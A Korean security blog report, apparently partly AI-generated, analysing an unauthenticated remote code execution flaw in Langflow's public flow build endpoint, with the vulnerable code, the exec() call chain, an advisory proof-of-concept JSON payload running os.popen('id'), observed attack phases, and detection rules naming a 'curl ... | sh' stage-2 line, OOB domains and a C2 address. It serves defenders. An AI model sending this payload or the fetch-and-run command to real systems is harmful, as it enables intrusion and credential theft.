DEEP DIVE REPORT

CVE-2026-33017 - Langflow 인증되지 않은 RCE, 공개 후 20시간 만에 악용되기 시작하다

SecurityDesk
2026.04.01 조회 26

핵심 요약 (Summary)

CVE-2026-33017은 Langflow의 공개 플로우 빌드 엔드포인트에 존재하는 인증되지 않은 원격 코드 실행 취약점이다. 공개된 PoC 코드가 없었음에도 어드바이저리 설명만으로 공격자가 20시간 이내에 작동하는 익스플로잇을 구축하고 실제 환경에서 악용하기 시작했다. AI 파이프라인 툴에서 발생한 이번 사례는 취약점 공개에서 무기화까지의 시간이 "일" 단위에서 "시간" 단위로 축소된 현대 사이버 위협 환경의 구조적 한계를 명확히 보여준다. CISO와 보안 실무자는 AI/ML 워크플로우 자동화 도구를 잠재적인 공급망 진입점으로 인지하고, 런타임 탐지와 신속한 패치 주기를 보안 전략의 최우선 순위로 재배치해야 한다.

기술 분석 (Technical Analysis)

Root Cause 분석

CVE-2026-33017의 근본 원인은 공개 플로우 빌드 엔드포인트가 설계적으로 인증을 요구하지 않는다는 점이다. 하지만 이 엔드포인트는 공격자가 제공하는 플로우 데이터를 수락하여 데이터베이스에 저장된 데이터가 아닌 공격자가 제어하는 데이터를 사용하여 그래프를 빌드하는 구조적 결함을 가지고 있다.

취약한 엔드포인트 코드 (src/backend/base/langflow/api/v1/chat.py, lines 580-657):

@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # 공격자 제어 데이터
    request: Request,
    # ... Depends(get_current_active_user) 없음 -- 인증 누락 ...
):
    """Build a public flow without requiring authentication."""
    client_id = request.cookies.get("client_id")
    owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)

    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data, # 공격자의 데이터가 그래프 빌더로 직접 전달
        current_user=owner_user,
        ...
    )

인증된 빌드 엔드포인트와 달리 공개 엔드포인트는 Depends(get_current_active_user)가 누락되어 있어, client_id 쿠키(임의 문자열)만 있으면 접근이 가능하다.

Exploit 메커니즘

공격자가 제공하는 data 파라미터는 플로우 노드 정의에 포함된 임의의 Python 코드를 포함할 수 있다. 이 코드는 다음 체인을 통해 최종적으로 샌드박싱 없는 exec() 함수에 전달된다.

코드 실행 체인:
1. start_flow_build(data=attacker_data)generate_flow_events() -- build.py:81
2. create_graph()build_graph_from_data(payload=data.model_dump()) -- build.py:298
3. Graph.from_payload(payload) parses attacker nodes -- base.py:1168
4. add_nodes_and_edges()initialize()_build_graph() -- base.py:270,527
5. _instantiate_components_in_vertices() iterates nodes -- base.py:1323
6. vertex.instantiate_component()instantiate_class(vertex) -- loading.py:28
7. code = custom_params.pop("code") extracts attacker code -- loading.py:43
8. eval_custom_component_code(code)create_class(code, class_name) -- eval.py:9
9. prepare_global_scope(module) -- validate.py:323
10. exec(compiled_code, exec_globals) -- 임의 코드 실행 -- validate.py:397

샌드박싱 없는 exec() 함수 (src/lfx/src/lfx/custom/validate.py, lines 340-397):

def prepare_global_scope(module):
    exec_globals = globals().copy()

    # 모든 모듈 임포트 허용 (임의 모듈 임포트 가능)
    for node in imports:
        module_obj = importlib.import_module(module_name) # line 352
        exec_globals[variable_name] = module_obj

    # 모든 최상위 정의 실행 (Assign, ClassDef, FunctionDef)
    if definitions:
        combined_module = ast.Module(body=definitions, type_ignores=[])
        compiled_code = compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals) # line 397 - 임의 코드 실행

공격 시나리오 (개념적 설명):
공격자는 AUTO_LOGIN=true 기본 설정을 활용하여 /api/v1/auto_login 엔드포인트에서 슈퍼유저 토큰을 획득한 뒤, 공개 플로우를 생성한다. 그 후 인증 없이 /api/v1/build_public_tmp/{flow_id}/flow 엔드포인트에 악성 플로우 데이터를 POST 요청으로 전송한다. 노드 정의에 포함된 Python 코드는 서버 측에서 즉시 실행되어 공격자에게 서버 접근 권한을 제공한다.

실제 PoC 코드 (GitHub Security Advisory GHSA-vwmf-pq79-vjvx):

# 공격자가 전송하는 악성 플로우 데이터 (요약)
"data": {
    "nodes": [{
        "id": "Exploit-001",
        "type": "genericNode",
        "data": {
            "node": {
                "template": {
                    "code": {
                        "type": "code",
                        "required": true,
                        "show": true,
                        "multiline": true,
                        "value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})"
                    }
                }
            }
        }
    }],
    "edges": []
}

악용 활동 관찰

Sysdig Threat Research Team은 취약점 공개 후 48시간 동안 6개의 고유 IP에서 익스플로잇 활동을 관찰했다. 단일 HTTP 요청으로 원격 코드 실행이 가능하기 때문에 대규모 자동 스캐닝이 수행되었다.

Phase 1: 자동 스캐닝 (공개 후 20-21시간)
Nuclei 스캐너를 사용한 자동화된 스캐닝 활동 관찰. 4개의 고유 IP가 몇 분 간격으로 동일한 페이로드 전송.

Phase 2: 커스텀 익스플로잇 스크립트 (공개 후 21-24시간)
Python requests 라이브러리(버전 2.32.3)를 사용하는 커스텀 스크립트를 통한 능동적 정찰 활동.

Phase 3: 데이터 수집 (공개 후 24-30시간)
가장 진보된 활동은 환경 변수 덤프, 파일 시스템 열거, .env 파일 내용 추출 등 철저한 자격 증명 수집 작업.

전략적 제언 (Expert Insights)

아키텍처 관점 보안 강화

1. 인증 없는 엔드포인트 설계 재검토
Langflow의 build_public_tmp 엔드포인트는 공개 플로우 공유를 위해 설계적으로 인증 없이 접근 가능하다. 하지만 data 파라미터 수락은 공격자가 실행 가능한 코드를 직접 전달할 수 있는 경로를 제공한다. 보안 설계 원칙상 인증 없는 엔드포인트는 읽기 전용 기능만 허용해야 하며, 임의 코드 실행과 같은 쓰기 작업은 반드시 인증 계층을 통과하도록 설계해야 한다. AI/ML 워크플로우 자동화 도구는 비개발자 사용자의 편의성을 위해 인증을 간소화하는 경향이 있으나, 이는 공격 표면적 확대와 직결된다.

2. 코드 샌드박싱 격리 강화
exec(compiled_code, exec_globals)는 샌드박싱 없이 임의 Python 코드를 실행한다. AST 파싱을 통해 위험한 모듈(os, subprocess, socket 등)을 필터링하거나, RestrictedPython과 같은 샌드박싱 라이브러리를 사용하여 임의 코드 실행을 제한해야 한다. Langflow의 prepare_global_scope 함수는 Assign 노드(예: _x = os.system("id"))를 실행하므로, 그래프 실행 이전에 이미 코드가 실행된다. 이는 취약점 패치를 어렵게 만드는 설계 결함이다.

3. 데이터베이스 중심 플로우 빌드
공개 플로우 빌드 엔드포인트는 공격자가 제공하는 데이터 대신 데이터베이스에 저장된 플로우 데이터만 사용하도록 수정해야 한다. 이는 CVE-2026-33017의 근본적인 완화 방안으로, data 파라미터를 완전히 제거하여 공개 플로우가 항상 검증된 데이터만 실행하도록 강제해야 한다.

탐지 정책(Rule) 수립 가이드

1. 런타임 탐지 전략
Sysdig 관찰에 따르면, 모든 공격자는 Python의 os.popen()을 통한 쉘 명령 실행 후 HTTP를 통한 데이터 유출을 수행했다. 이 공격 체인은 취약점 구체적 식별자 없이 탐지 가능한 행위적 패턴을 생성한다. Falco 또는 Sysdig Secure 같은 런타임 보안 도구는 다음 규칙을 제공한다:

  • 자격 증명 도난: /etc/passwd, /etc/shadow, .env 파일 읽기 탐지
  • OOB 유효성 검사: .oast.live, .oastify.com, interact.sh 같은 공격자 도메인 DNS 조회 탐지
  • Stage-2 전달: curl -fsSL http://attacker/z | sh 같은 인라인 쉘 실행 탐지
  • C2 유출: 알려진 C2 서버(예: 143.110.183.86:8080)로의 아웃바운드 연결 탐지

2. 패치 주기 단축
Zero Day Clock 프로젝트 데이터에 따르면, 중위 TTE(Time-to-Exploit)가 2018년 771일에서 2024년 몇 시간으로 축소되었다. 2023년에 44%의 악용된 취약점이 공개 후 24시간 이내에 무기화되었으며, 80%의 공개 익스플로잇이 공식 어드바이저리 공개 전에 등장했다. 이는 CVE-2026-33017이 보여주듯 어드바이저리 텍스트만으로 공격자가 작동하는 익스플로잇을 구축할 수 있음을 의미한다. 기업은 패치 주기를 "주" 단위에서 "시간" 단위로 재설정해야 한다. Langflow의 경우, 패치된 버전이 없는 경우 /api/v1/build_public_tmp 엔드포인트로의 네트워크 액세스를 방화벽 규칙으로 제한하거나 리버스 프록시 뒤에 인증 계층을 배치해야 한다.

3. 환경 변수와 자격 증명 감사
공개적으로 노출된 Langflow 인스턴스에서 환경 변수와 자격 증명을 즉시 감사하고 순환해야 한다. Langflow 인스턴스는 OpenAI, Anthropic, AWS API 키와 데이터베이스 연결 문자열로 구성되는 경우가 많으므로, 단일 인스턴스의 침해가 클라우드 계정과 데이터 저장소로의 측면 이동(lateral movement) 경로를 제공할 수 있다.

참고 문헌 (References)

[Source] NVD - CVE-2026-33017: https://nvd.nist.gov/vuln/detail/CVE-2026-33017

[Source] GitHub Security Advisory - GHSA-vwmf-pq79-vjvx: https://github.com/langflow-ai/langflow/security/advisories/GHSA-vwmf-pq79-vjvx

[Source] GitHub Patch Commit: https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0

[Source] CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-33017

[Source] Sysdig Threat Research Team Blog: https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours

[Source] Medium Write-up by Researcher: https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896

[Source] SecOpsDaily Roundup: https://www.secpod.com/blog/cve-2026-33017-critical-langflow-vulnerability-exploited-within-20-hours-of-disclosure/

[Source] Zero Day Clock Project: https://zerodayclock.com/

본 콘텐츠는 AI 기술로 생성된 분석 리포트를 포함하고 있습니다. 내용 중 사실과 다르거나 보완이 필요한 정보를 발견하시면 댓글을 통해 소중한 의견 부탁드립니다. 여러분의 피드백은 더 정확한 보안 정보 공유에 큰 도움이 됩니다.

댓글 (0)

댓글을 작성하려면 로그인이 필요합니다.

로그인

아직 댓글이 없습니다.

첫 번째 댓글을 작성해보세요!

IT 도구 서랍

→ Unix: 2025-01-15T09:30:00
→ 날짜: 1736934600

→ ASCII: ABC
→ 문자: 65 66 67

ASCII 코드표 — 클릭하면 입력란에 추가

DecHex약어설명
DecHex문자
DecHex문자

→ 유니코드: 홍길동
→ 문자: \ud64d\uae38\ub3d9